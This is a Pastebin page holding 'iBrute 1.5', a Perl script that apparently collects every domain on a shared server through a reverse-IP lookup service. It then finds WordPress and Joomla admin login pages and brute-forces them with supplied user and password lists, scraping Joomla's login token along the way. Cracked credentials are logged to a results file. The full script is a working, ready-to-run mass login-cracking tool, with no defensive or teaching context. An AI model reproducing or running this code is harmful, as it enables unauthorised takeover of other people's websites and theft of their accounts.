Black-ID

iBrute 1.5

Dec 29th, 2012
676
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 11.22 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.     use Term::ANSIColor;
  4.     use Win32::Console::ANSI;
  5.     use LWP::UserAgent;
  6.     use URI::URL;
  7.     use HTTP::Request;
  8.     use HTTP::Request::Common qw(POST);
  9.     use HTTP::Request::Common qw(GET);
  10.     use HTTP::Cookies;
  11.       $ua = LWP::UserAgent->new(keep_alive => 1);
  12.           $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
  13.           $ua->timeout (30);
  14.           $ua->cookie_jar(
  15.         HTTP::Cookies->new(
  16.             file => 'mycookies.txt',
  17.             autosave => 1
  18.         )
  19.     );
  20. if($^O =~ /Win/){
  21.  
  22.    system("cls");
  23.    system("title iBruTe[1.5]");
  24. }else{
  25.    system("clear");
  26. }
  27. $SIG{'INT'} = sub {
  28. print "\n\n";
  29. print color "reset";
  30. exit;
  31. };
  32.  
  33. sub Clean($);
  34. print color 'bold green';
  35. print q{+-----------------------------------------------------------------+
  36. |           _  ____             _______                           |  
  37. |          (_)|  _ \           |__   __|                          |  
  38. |           _ | |_) | _ __  _   _ | |  ___                        |  
  39. |          | ||  _ < | '__|| | | || | / _ \                       |  
  40. |          | || |_) || |   | |_| || ||  __/                       |  
  41. |          |_||____/ |_|    \__,_||_| \___|                       |
  42. |                                                                 |
  43. |                              v 1.5 [Black-ID]                   |
  44. +-----------------------------------------------------------------+};
  45. print color 'reset';
  46. print color 'bold yellow';
  47. print "\n[!]";
  48. print color 'bold blue';
  49. print " Enter TarGet Or Domains List :";
  50. print color 'reset';
  51. print color 'yellow';
  52. $Target=<STDIN>;
  53. print color 'bold yellow';
  54. print "[!]";
  55. print color 'bold blue';
  56. print " Enter Users List :";
  57. print color 'reset';
  58. print color 'yellow';
  59. $ulist=<STDIN>;
  60. print color 'bold yellow';
  61. print "[!]";
  62. print color 'bold blue';
  63. print " Enter Passwords List :";
  64. print color 'reset';
  65. print color 'yellow';
  66. $pwdlist=<STDIN>;
  67. chomp($Target);
  68. if($Target =~ /.txt/) {
  69. print color 'bold yellow';
  70. print "\n[!]";
  71. print color 'bold cyan';
  72. print " Listing Domains From $Target...";
  73. open (DOMAINS, "<$Target") || die "[-] Can't open the List Of Domains Names!";
  74. @DOMAINS = <DOMAINS>;
  75. close DOMAINS;
  76. print color 'bold cyan';
  77. print "[Done]\n\n";
  78. }else{
  79. print color 'bold yellow';
  80. print "\n\n[!]";
  81. print color 'bold cyan';
  82. print " Grabbing Domains From ";
  83. print color 'bold red';
  84. print "$Target";
  85. print color 'reset';
  86. print "...";
  87. my $rp = $ua->post('http://www.yougetsignal.com/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php',
  88. {
  89.        remoteAddress => $Target,
  90. }
  91. );
  92. my $dresult = $rp->content;
  93.         if ( $dresult =~ m#("domainCount":")(.*?)"# ) {
  94.        $count = $2 ;
  95.         }
  96. while ($dresult =~ m/\[([^\]]*)\]/g)
  97. {
  98.        $imatch = $1;
  99.        $imatch =~ m/\"(.*?)\", \"?\"/g;
  100. open(a, ">>domains-$Target.txt");
  101. print a "$1\n";
  102. close(a);
  103. }
  104. print color 'bold green';
  105. print "$count |[Done]\n\n";
  106. if ($dresult =~ m/"message":"Daily reverse IP check limit reached for (.*)\. Please <a href='\/about'>contact<\/a> me to remove this limit\."/)
  107. {
  108. print color 'bold red';
  109. print "[Error]\n\n";
  110. }
  111. open (DOMAINS, "<domains-$Target.txt") || die "[-] Can't open the List Of Domains Names!";
  112. @DOMAINS = <DOMAINS>;
  113. close DOMAINS;
  114. }
  115. foreach my $D (@DOMAINS) {
  116. chomp $D;
  117. $wp = "http://".$D."/wp-login.php";
  118. $red = "http://".$D."/wp-admin/";
  119. my $reqwp=HTTP::Request->new(GET=>$wp);
  120. my $responsewp=$ua->request($reqwp);
  121. $wp1 = "http://".$D."/blog/wp-login.php";
  122. $red1 = "http://".$D."/blog/wp-admin/";
  123. my $reqwp1=HTTP::Request->new(GET=>$wp1);
  124. my $responsewp1=$ua->request($reqwp1);
  125. $joom = "http://".$D."/administrator/index.php";
  126. my $reqjoom=HTTP::Request->new(GET=>$joom);
  127. my $responsejoom=$ua->request($reqjoom);
  128. $joom1 = "http://".$D."/Portal/administrator/index.php";
  129. my $reqjoom1=HTTP::Request->new(GET=>$joom1);
  130. my $responsejoom1=$ua->request($reqjoom1);
  131. if ($responsewp->content=~ /<body class="login">/)
  132. {
  133. print color 'bold yellow';
  134. print "[+]";
  135. print color 'bold magenta';
  136. print " $D ";
  137. print color 'reset';
  138. print ":";
  139. print color 'bold green';
  140. print "[Wordpress]\n";
  141. open(a, ">>resault-$Target.txt");
  142. print a "[WordPress]:$D\n";
  143. close(a);
  144. print color 'bold yellow';
  145. print "\n\n[!]";
  146. print color 'bold cyan';
  147. print " Brutting ";
  148. print color 'bold red';
  149. print "$D";
  150. print color 'reset';
  151. print "...\n\n";
  152. open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Users !";
  153. @ULIST = <USERFILE>;
  154. close USERFILE;
  155. foreach my $U (@ULIST) {
  156. chomp $U;
  157. $user = Clean($U);
  158. open (PASSFILE, "<$pwdlist") || die "[-] Can't Open The List Of Passwords !";
  159. @LISTS = <PASSFILE>;
  160. close PASSFILE;
  161. foreach my $L (@LISTS) {
  162. chomp $L;
  163. $pwd = Clean($L);
  164. my $response = $ua->post($wp,
  165. {
  166. "log"   => "$user",
  167. "pwd"   => "$pwd",
  168. "redirect_to"   => "$red",
  169. "testcookie"   => "1",
  170. });
  171. $pwnd = $response->status_line;
  172. if ($pwnd =~ /302/){
  173. print color 'bold yellow';
  174. print "\n\t[+]";
  175. print color 'bold blue';
  176. print " [$user]";
  177. print color 'bold white';
  178. print ":";
  179. print color 'bold magenta';
  180. print "$pwd ";
  181. print color 'bold green';
  182. print "Login Correct \n\n";
  183. open(a, ">>resault-$Target.txt");
  184. print a "$user:$pwd\n";
  185. close(a);
  186. }
  187. else {
  188. print color 'bold yellow';
  189. print "\t[-]";
  190. print color 'bold blue';
  191. print " [$user]";
  192. print color 'bold white';
  193. print ":";
  194. print color 'bold magenta';
  195. print "$pwd ";
  196. print color 'bold red';
  197. print "Login Incorrect \n";
  198. }
  199. }
  200. print "\n\n";
  201. }
  202. }
  203. else{
  204. if ($responsewp1->content=~ /<body class="login">/){
  205. print color 'bold yellow';
  206. print "[+]";
  207. print color 'bold magenta';
  208. print " $D ";
  209. print color 'reset';
  210. print ":";
  211. print color 'bold green';
  212. print "[Wordpress]\n";
  213. open(a, ">>resault-$Target.txt");
  214. print a "[WordPress]:$D/blog/\n";
  215. close(a);
  216. print "\n\n[!]";
  217. print color 'bold cyan';
  218. print " Brutting ";
  219. print color 'bold red';
  220. print "$D";
  221. print color 'reset';
  222. print "...\n\n";
  223. open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
  224. @ULIST = <USERFILE>;
  225. close USERFILE;
  226. foreach my $U (@ULIST) {
  227. chomp $U;
  228. $user = Clean($U);
  229. open (PASSFILE, "<$pwdlist") || die "[-] Can't Open The List Of Passwords !";
  230. @LISTS = <PASSFILE>;
  231. close PASSFILE;
  232. foreach my $L (@LISTS) {
  233. chomp $L;
  234. $pwd = Clean($L);
  235. my $response = $ua->post($wp1,
  236. {
  237. "log"   => "$user",
  238. "pwd"   => "$pwd",
  239. "redirect_to"   => "$red1",
  240. "testcookie"   => "1",
  241. });
  242. $pwnd = $response->status_line;
  243. if ($pwnd =~ /302/){
  244. print color 'bold yellow';
  245. print "\n\t[+]";
  246. print color 'bold blue';
  247.  
  248. print " [$user]";
  249. print color 'bold white';
  250. print ":";
  251. print color 'bold magenta';
  252. print "$pwd ";
  253. print color 'bold green';
  254. print "Login Correct \n\n";
  255. open(a, ">>resault-$Target.txt");
  256. print a "$user:$pwd\n";
  257. close(a);
  258. }
  259. else {
  260. print color 'bold yellow';
  261. print "\t[-]";
  262. print color 'bold blue';
  263. print " [$user]";
  264. print color 'bold white';
  265. print ":";
  266. print color 'bold magenta';
  267. print "$pwd ";
  268. print color 'bold red';
  269. print "Login Incorrect \n";
  270. }
  271. }
  272. print "\n\n";
  273. }
  274. }
  275. else{
  276. if ($responsejoom->is_success && $responsejoom->content=~ /Joomla/){
  277. print color 'bold yellow';
  278. print "[+]";
  279. print color 'bold magenta';
  280. print " $D ";
  281. print color 'reset';
  282. print ":";
  283. print color 'bold green';
  284. print "[Joomla]\n";
  285. open(a, ">>resault-$Target.txt");
  286. print a "[Joomla]:$D\n";
  287. close(a);
  288. print color 'bold yellow';
  289. print "\n\n[!]";
  290. print color 'bold cyan';
  291. print " Brutting ";
  292. print color 'bold red';
  293. print "$D";
  294. print color 'reset';
  295. print "...\n\n";
  296. open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
  297. @ULIST = <USERFILE>;
  298. close USERFILE;
  299. my $red = GET $joom;
  300. my $ret = $ua->request($red);
  301. $rep =  $ret->content;
  302. $status = $ret->status_line;
  303. if ( $rep =~ m#(name=")(.*)" value="1"# ) {
  304. $token = $2 ;
  305. }else{
  306. print color 'bold yellow';
  307. print "\n\n[-]";
  308. print color 'bold red';
  309. print " Can't Grabb Joomla Token !\n\n";
  310. print color 'reset';
  311. next;
  312. }
  313. foreach my $U (@ULIST) {
  314. chomp $U;
  315. $user = Clean($U);
  316. open (PASSFILE, "<$pwdlist") || die "[-] Can't Open The List Of Passwords !";
  317. @LISTS = <PASSFILE>;
  318. close PASSFILE;
  319. foreach my $L (@LISTS) {
  320. chomp $L;
  321. $pwd = Clean($L);
  322. my $response = $ua->post($joom,
  323. {
  324. "username"   => "$user",
  325. "passwd"   => "$pwd",
  326. "lang"   => "en-GB",
  327. "option"   => "com_login",
  328. "task"   => "login",
  329. "$token"   => "1",
  330. });
  331. $pwnd = $response->status_line;
  332. if ($pwnd =~ /303/ | $pwnd =~ /301/){
  333.  
  334. print color 'bold yellow';
  335. print "\n\t[+]";
  336. print color 'bold blue';
  337.  
  338. print " [$user]";
  339. print color 'bold white';
  340. print ":";
  341. print color 'bold magenta';
  342. print "$pwd ";
  343. print color 'bold green';
  344. print "Login Correct \n\n";
  345. open(a, ">>resault-$Target.txt");
  346. print a "$user:$pwd\n";
  347. close(a);
  348. }
  349. else {
  350. print color 'bold yellow';
  351. print "\t[-]";
  352. print color 'bold blue';
  353. print " [$user]";
  354. print color 'bold white';
  355. print ":";
  356. print color 'bold magenta';
  357. print "$pwd ";
  358. print color 'bold red';
  359. print "Login Incorrect \n";
  360. }
  361. }
  362. print "\n\n";
  363. }
  364. }
  365. else{
  366. if ($responsejoom1->is_success && $responsejoom1->content=~ /Joomla/){
  367. print color 'bold yellow';
  368. print "[+]";
  369. print color 'bold magenta';
  370. print " $D ";
  371. print color 'reset';
  372. print ":";
  373. print color 'bold green';
  374. print "[Joomla]\n";
  375. open(a, ">>resault-$Target.txt");
  376. print a "[Joomla]:$D\n";
  377. close(a);
  378. print color 'bold yellow';
  379. print "\n\n[!]";
  380. print color 'bold cyan';
  381. print " Brutting ";
  382. print color 'bold red';
  383. print "$D";
  384. print color 'reset';
  385. print "...\n\n";
  386. open (USERFILE, "<$ulist") || die "[-] Can't Open The List Of Passwords !";
  387. @ULIST = <USERFILE>;
  388. close USERFILE;
  389. my $red1 = GET $joom1;
  390. my $ret1 = $ua->request($red1);
  391. $rep1 =  $ret1->content;
  392. $status = $ret1->status_line;
  393. if ( $rep1 =~ m#(name=")(.*)" value="1"# ) {
  394. $token = $2 ;
  395. }else{
  396. print color 'bold yellow';
  397. print "\n\n[-]";
  398. print color 'bold red';
  399. print " Can't Grabb Joomla Token !\n\n";
  400. print color 'reset';
  401. next;
  402. }
  403. foreach my $U (@ULIST) {
  404. chomp $U;
  405. $user = Clean($U);
  406. open (PASSFILE, "<$pwdlist") || die "[-] Can't Open The List Of Passwords !";
  407. @LISTS = <PASSFILE>;
  408. close PASSFILE;
  409. foreach my $L (@LISTS) {
  410. chomp $L;
  411. $pwd = Clean($L);
  412. my $response = $ua->post($joom1,
  413. {
  414. "username"   => "$user",
  415. "passwd"   => "$pwd",
  416. "lang"   => "en-GB",
  417. "option"   => "com_login",
  418. "task"   => "login",
  419. "$token"   => "1",
  420. });
  421. $pwnd = $response->status_line;
  422. if ($pwnd =~ /303/ | $pwnd =~ /301/){
  423. print color 'bold yellow';
  424. print "\n\t[+]";
  425. print color 'bold blue';
  426.  
  427. print " [$user]";
  428. print color 'bold white';
  429. print ":";
  430. print color 'bold magenta';
  431. print "$pwd ";
  432. print color 'bold green';
  433. print "Login Correct \n\n";
  434. open(a, ">>resault-$Target.txt");
  435. print a "$user:$pwd\n";
  436. close(a);
  437. }
  438. else {
  439. print color 'bold yellow';
  440. print "\t[-]";
  441. print color 'bold blue';
  442. print " [$user]";
  443. print color 'bold white';
  444. print ":";
  445. print color 'bold magenta';
  446. print "$pwd ";
  447. print color 'bold red';
  448. print "Login Incorrect \n";
  449. }
  450. }
  451. print "\n\n";
  452. }
  453. }
  454. else {
  455. print color 'bold yellow';
  456. print "[-]";
  457. print color 'bold red';
  458. print" $D";
  459. print color 'reset';
  460. print " :";
  461. print color 'bold cyan';
  462. print "[Unknown]\n";}
  463. print color 'reset';
  464. }
  465. }
  466. }
  467. }
  468. sub Clean($)
  469. {
  470.     my $string = shift;
  471.     $string =~ s/^\s+//;
  472.     $string =~ s/\s+$//;
  473.     return $string;
  474. }
Advertisement
Add Comment
Please, Sign In to add comment